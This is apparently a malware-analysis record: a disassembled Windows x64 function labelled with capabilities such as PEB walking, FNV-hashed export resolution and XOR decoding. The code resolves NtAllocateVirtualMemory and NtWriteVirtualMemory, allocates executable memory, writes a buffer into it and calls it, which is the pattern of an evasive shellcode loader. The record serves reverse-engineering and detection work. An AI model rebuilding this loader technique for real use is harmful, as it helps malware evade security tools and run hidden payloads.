Function at 0x140002660
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0xa0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [str.PMNK]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140037338]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140037340]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140037344]
mov word [rsp + 0x4c], ax
xor ebp, ebp
cmp byte [0x140037345], bpl
je 0x14000284f
mov r8d, ebp
cmp dword [0x14003d090], 2
jl 0x140002815
movdqa xmm5, xmmword [0x140037380]
movdqa xmm4, xmmword [0x1400373b0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x1400373c0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400373a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400373a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140002710
cmp r8d, 0x1e
jge 0x14000284f
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140002820
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov qword [rsp + 0x68], rbp
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140001f20
mov r14, rax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x70], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002916
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002916
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9a027c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002911
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400028f0
cmp r8d, 0x92b7bf90
je 0x14000291b
test r9d, r9d
jne 0x1400028d0
mov rax, qword [rax]
jmp 0x1400028a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rsi
call r8
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400029d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400029d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x83904359
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400029d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400029b0
cmp r8d, 0xb826c019
je 0x1400029db
test r9d, r9d
jne 0x140002990
mov rax, qword [rax]
jmp 0x140002960
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x70]
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, rax
call rsi
mov ebx, eax
test eax, eax
jns 0x140002a44
lea rdx, str.NtAllocateVirtualMemory_failed._Error:
call fcn.140004c90
mov rcx, rax
mov edx, ebx
call fcn.140002ec0
mov rcx, rax
call fcn.140004f70
mov ebp, 1
jmp 0x140002beb
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5b88bb76
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002ae1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002ac0
cmp r8d, 0x309a6676
je 0x140002aeb
test r9d, r9d
jne 0x140002aa0
mov rax, qword [rax]
jmp 0x140002a70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, str.NtWriteVirtualMemory
mov rcx, rsi
call r8
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002ba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002ba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x5e7e32d3
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140002ba1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140002b80
cmp r8d, 0xecf1a4df
je 0x140002bab
test r9d, r9d
jne 0x140002b60
mov rax, qword [rax]
jmp 0x140002b30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov qword [rsp + 0x20], rbp
mov r9, r14
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call rsi
test eax, eax
jns 0x140002be6
mov ebp, 1
jmp 0x140002beb
call qword [rsp + 0x50]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140002c23
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c58
call fcn.140009100
mov eax, ebp
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400090e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
ret
call fcn.140012334
int3